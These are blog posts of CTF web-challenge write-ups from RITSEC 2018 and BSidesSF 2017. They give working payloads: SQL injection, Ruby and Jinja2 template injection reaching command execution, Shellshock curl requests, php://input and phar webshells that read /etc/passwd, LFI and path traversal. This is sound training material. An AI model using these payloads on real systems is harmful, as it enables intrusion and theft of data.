Showing posts with label command injection. Show all posts
Showing posts with label command injection. Show all posts

Tuesday, November 20, 2018

RITSEC CTF 2018 - Web

Table of Contents

Space Force (100)

The first challenge was basic SQLi:
' or 1=1#
This dumped all results including the flag:
RITSEC{hey_there_h4v3_s0me_point$_3ny2Lx}

The Tangled Web (200):

This challenge had multiple links leading to many pages. The point of the challenge seemed to teach spidering / mirroring:
$ wget -rm http://fun.ritsec.club:8007/

Looking for files containing the term flag:

$ grep -ri 'flag' .

fun.ritsec.club:8007/Waving.html
17:        <th><a href="Fl4gggg1337.html" style="color: white">Flag</a></th>

fun.ritsec.club:8007/Fl4gggg1337.html
18:    <p style="color: white">Ha you thought there would be a flag here? Nice try :)</p>

Fl4gggg1337.html sounds interesting! Looking in there we find a link to Stars.html:

$ cat fun.ritsec.club:8007/Stars.html
...
  <center><p>UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=</p></center>
</body>
</html>

<!-- REMOVE THIS NOTE LATER -->
<!-- Getting remote access is so much work. Just do fancy things on devsrule.php -->
...

Decoding the base64, we get the flag!

$ echo UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0= | base64 -D
RITSEC{AR3_Y0U_F3371NG_1T_N0W_MR_KR4B5?!}

Crazy Train (250):

This webapp had an article list & submission:

The title of this challenge & 404 page revealed it's a rails app:

Submitting a new article resulted in an interesting hidden parameter with an empty value:

..&article[a]=&..

With no value specified the POST would result in a blank page.

If we add a value to article[a] it reflects back to the client:

..&article[a]=AAAA&..

AAAA

Knowing this is a rails app, we can try ERB SSTI (skipping url-encoding in this post for clarity):

..&article[a]="AAAA" + (7 * 7).to_s + "BBBB"&..

AAAA49BBBB

Looks like it worked! Let's try something more productive:

..&article[a]=Dir["./*"].to_s&..

["./tmp", "./db", "./log", "./Gemfile", "./lib", "./Gemfile.lock",
 "./config.ru", "./test", "./package.json", "./bin", "./public", "./README.md",
 "./app", "./config", "./Rakefile", "./storage", "./flag.txt", "./vendor"]

Now just read the flag:

..&article[a]=File.read("./flag.txt").to_s&..
RITSEC{W0wzers_who_new_3x3cuting_c0de_to_debug_was_@_bad_idea}

What a cute dog! (350):

This web challenge had a minimal page with some linux output:

Looks like command injection. Looking in the source we can see the cgi-bin script used:

<iframe frameborder=0 width=800 height=600 src="/cgi-bin/stats"></iframe>

Visiting the cgi-bin script directly we get the same stats output as the home page.

If we curl the cgi script with shellshock in the User-Agent header, we get command execution:

$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'id'" http://fun.ritsec.club:8008/cgi-bin/stats

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Looking for flag.txt on the server, we find it in /opt:

$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'find / -type f -name flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats

/opt/flag.txt

Then we just read the flag:

$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'cat /opt/flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats
RITSEC{sh3ll_sh0cked_w0wz3rs}

Lazy Dev (400):

This challenge starts from The Tangled Web. To recap, we got a note in the HTML comments:
$ cat fun.ritsec.club:8007/Stars.html
...
  <center><p>UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=</p></center>
</body>
</html>

<!-- REMOVE THIS NOTE LATER -->
<!-- Getting remote access is so much work. Just do fancy things on devsrule.php -->
...

Sounds like devsrule.php contains a backdoor.

If we look at that page, we see:

$ curl http://fun.ritsec.club:8007/devsrule.php

Not what you input eh?
This param is 'magic' man.

This didn't give us much to work with, but trying to play with the params in unsual ways, it reacts:

$ curl http://fun.ritsec.club:8007/devsrule.php?magic[]=1

Not what you input eh?
This param is 'magic' man.
Are you trying to hack me? That's mean :(

So we know it must have something to do with this magic param as mentioned in the description.

The next part took a while to figure out, but it's also mentioned in the description. The only other word which stands out is 'input'.

PHP contains a special wrapper 'input://' which can take 'stdin' from POST data. Adding this with the magic parameter, and a webshell in the POST data, we get what we would expect:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("id"); ?>'

Not what you input eh?<br>This param is 'magic' man.<br><br>

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Grabbing the users, we see joker, which may be where the flag is:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("cat /etc/passwd"); ?>'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
joker:x:1000:1000:,,,:/home/joker:/bin/bash
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin

Looking in joker's home directory we see a flag.txt, and cat it:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("cat /home/joker/flag.txt"); ?>'
RITSEC{WOW_THAT_WAS_A_PAIN_IN_THE_INPUT}

Archivr (300):

The first bug was found very quickly. After visiting one of the pages, we get a URL like:

http://fun.ritsec.club:8004/index.php?page=upload

This looks like LFI. It seems to work with a base64 encoded dump of index.php and other pages:

$ curl http://fun.ritsec.club:8004/index.php?page=php://filter/convert.base64-encode/resource=index

PD9waHAKaW5jbHVkZSgiY2xhc3Nlcy5waHAuaW5jIik7CmluY2x1ZGUoKGlzc2V0KCRfR0VUWydwYWdlJ10pICYmIGlzX3N0cmluZygkX0dFVFsncGFnZSddKSA/ICRfR0VUWydwYWdlJ10gOiAiaG9tZSIpIC4gIi5waHAiKTsKPz4K

This decodes to:

<?php
  include("classes.php.inc");
  include((isset($_GET['page']) && is_string($_GET['page']) ? $_GET['page'] : "home") . ".php");
?>

We can see why the LFI happened, now what does upload do? The main chunk of code is:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if ($_FILES['upload']['size'] > 5000) { //max 5KB
        die("File too large!");
    }
    $filename = $_FILES['upload']['name'];


    $upload_time = time();
    $upload_dir = "uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/";

    $ext = "";
    if (strpos($filename, '.') !== false) {
        $f_ext = explode(".", $filename)[1];
        if (ctype_alnum($f_ext) && stripos($f_ext, "php") === false) {
            $ext = "." . $f_ext;
        } else {
            $ext = ".dat";
        }
    } else {
        $ext = ".dat";
    }

    $upload_path = $upload_dir . md5($upload_time) . $ext;
    mkdir($upload_dir, 770, true);

    //Enforce maximum of 10 files
    $dir = new DirLister($upload_dir);
    if ($dir->getCount() >= 10) {
        unlink($upload_dir . $dir->getOldestFile());
    }

    move_uploaded_file($_FILES['upload']['tmp_name'], $upload_path);
    $key = $upload_time . $ext;
}
?>

It uploads a user provided file under 5KB to an /uploads/md5(SERVER_IP)/ directory with the md5 value of time().

The server's internal IP can be obtained from one of the previous challenges - Lazy Dev:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<pre><?php echo system("netstat -n"); ?></pre>'

Not what you input eh?<br>This param is 'magic' man.<br><br><pre>Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 172.27.0.2:80           10.0.10.254:45996       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46396       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46096       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:45826       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46524       SYN_RECV
tcp        0      0 172.27.0.2:80           10.0.10.254:46794       ESTABLISHED
tcp        0      0 172.27.0.2:80           10.0.10.254:46520       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46246       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:45944       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46076       TIME_WAIT
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags       Type       State         I-Node   Path
Proto RefCnt Flags       Type       State         I-Node   Path</pre>

The target internal IP is:

10.0.10.254

Next we can upload a simple web-shell and include it using the PHP wrapper phar://.

The web-shell (shell.php):

<pre><? echo system($_GET['cmd']); ?></pre>

Zipping the web-shell for usage with phar:

$ zip -0 shell.zip shell.php

After uploading shell.zip we get the current time with a .zip extension: 1542574010.zip.

The new filename will be md5(time()) or md5('1542574010'):

$ echo -n 1542574010 | md5

61fda3e4ccb1a54721aa8b42519de46e

The upload directory will be the md5 hash of the internal IP we found:

$ echo -n 10.0.10.254 | md5

98d3cbed97b0bc491c000455c9f8e6fb

Combining this all together, using the same url as the LFI with phar:// instead of php://filter, we can list the directory:

$ curl http://fun.ritsec.club:8004/index.php?page=phar:///var/www/html/uploads/98d3cbed97b0bc491c000455c9f8e6fb/61fda3e4ccb1a54721aa8b42519de46e.zip/shell&cmd=ls

...
c1f3d7e3e54a30dd7c66f1840b3afe90_flag.txt
download.php
index.php
upload.php
...

Looks like we have the flag!

$ curl http://fun.ritsec.club:8004/index.php?page=phar:///var/www/html/uploads/98d3cbed97b0bc491c000455c9f8e6fb/61fda3e4ccb1a54721aa8b42519de46e.zip/shell&cmd=cat *flag.txt
RITSEC{uns3r1al1z3_4LL_th3_th1ng5}

Tuesday, February 14, 2017

BSidesSF 2017 - Web: Zumbo




The Google & Synack sponsored BSidesSF CTF was fantastic this year! From easier challenges to difficult, and some very innovative for challenges, it was a lot of fun to play!


 

Zumbo 1 (20)


On Zumbo we start off on the route 'index.template' - http://zumbo-8ac445b1.ctf.bsidessf.net/index.template

Attempting to hit robots.txt, we get this odd message: [Errno 2] No such file or directory: u'robots.txt'

The python unicode string instantly stuck out identifying this as a python backend.

Looking at the source of index.template, we get this nice comment towards the bottom:

<!-- page: index.template, src: /code/server.py -->

Next, it was time to check out server.py to see if it exists, visiting http://zumbo-8ac445b1.ctf.bsidessf.net/server.py we get:

import flask, sys, os
import requests

app = flask.Flask(__name__)
counter = 12345672


@app.route('/')
def custom_page(page):
    if page == 'favicon.ico': return ''
    global counter
    counter += 1
    try:
        template = open(page).read()
    except Exception as e:
        template = str(e)
    template += "\n\n" % (page, __file__)
    return flask.render_template_string(template, name='test', counter=counter);

@app.route('/')
def home():
    return flask.redirect('/index.template');

if __name__ == '__main__':
    flag1 = 'FLAG: FIRST_FLAG_WASNT_HARD'
    with open('/flag') as f:
            flag2 = f.read()
    flag3 = requests.get('http://vault:8080/flag').text

    print "Ready set go!"
    sys.stdout.flush()
    app.run(host="0.0.0.0")


And with that, we've already completed Zumbo 1! Dropping the flag:

FLAG: FIRST_FLAG_WASNT_HARD



Zumbo 2 (100)


The next flag was located in the file /flag on the server. This next part was solved by a team-mate very quickly, but here's how it was done:

http://zumbo-8ac445b1.ctf.bsidessf.net/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/flag

FLAG: RUNNER_ON_SECOND_BASE

This was just urlencoded directory traversal, nice! :) So now we can read any file on the server as well.



Zumbo 3 (250)

This next part ended up taking a while to complete.  Because there was a load balancer setup on the server, it added an element of difficulty to read & write files using two commands.

In the beginning of this blog post we see that there's the python unicode strings being dumped to the page:

[Errno 2] No such file or directory: u'robots.txt'


This comes from this section in the code:

    try:
        template = open(page).read()
    except Exception as e:
        template = str(e)

It's nice we're able to get some output from the server. After a few attempts checking string escaping, we look elsewhere. Stumbling on a few blog posts about python server exploitation was invaluable. The main ones we ended up referring to were:

Part II of the article from nvisium turned out to be the intended solution.  After trying that one out multiple times and failing, I ended up doing it the hard way, which is what I'll be describing in this post.

All of these articles are about SSTI or Server Side Template Injection.

Here's a very basic example of this:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ 1+1 }}

Which results in the following:

[Errno 2] No such file or directory: u'2'


So we can execute some python! Great! Although we don't have access to everything because of the context of the templating engine. For example:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ print("hello") }}

Results in an ISE:

Internal Server Error

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.


We can still work with this though. The third article linked was invaluable for stepping through the process, similar to other CTF challenges with python jails.

Looking at an empty string's __mro__ we can access the following classes:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__ }}

[Errno 2] No such file or directory: u"(<type str="">, <type basestring="">, <type object="">)"


Now we can dive into the object class and grab a few other modules, with this we get quite a lot:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__() }}


[Errno 2] No such file or directory: u"[
<type 'type'>,
 <type 'weakref'>,
 <type 'weakcallableproxy'>,
 <type 'weakproxy'>,
 <type 'int'>,
 <type 'basestring'>,
 <type 'bytearray'>,
 <type 'list'>,
 <type 'NoneType'>,
 <type 'NotImplementedType'>,
......

What we're now looking for in here is the method 'warnings.catch_warnings'. This contains linecache which uses os. The os module contains the os.system method, which for us means RCE.

This ends up being at index 59:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59] }}

[Errno 2] No such file or directory: u"<class 'warnings.catch_warnings'>"

Continuing this treasure hunt to find the index of a module inside the list of subclasses & func_globals we land on system:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144] }}

[Errno 2] No such file or directory: u""

Now we can call this with any command!  Let's just curl that url as they do in the python server.py script:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144]('curl http://vault:8080/flag') }}

[Errno 2] No such file or directory: u"0"

Unfortunately the stdout doesn't get redirected to us in this case, but that's okay, we can just check a file.

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144]('curl http://vault:8080/flag > /tmp/wubalubadubdub') }}

Now using the directory traversal previously (or using the file module exposed on index 40 of object), we can read in the file!

http://zumbo-8ac445b1.ctf.bsidessf.net/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/tmp/wubalubadubdub

FLAG: BRICK_HOUSE_BEATS_THE_WOLF


This ended up being a little different than the standard technique, it also ended up giving us root on the server instead of just dropping the flag.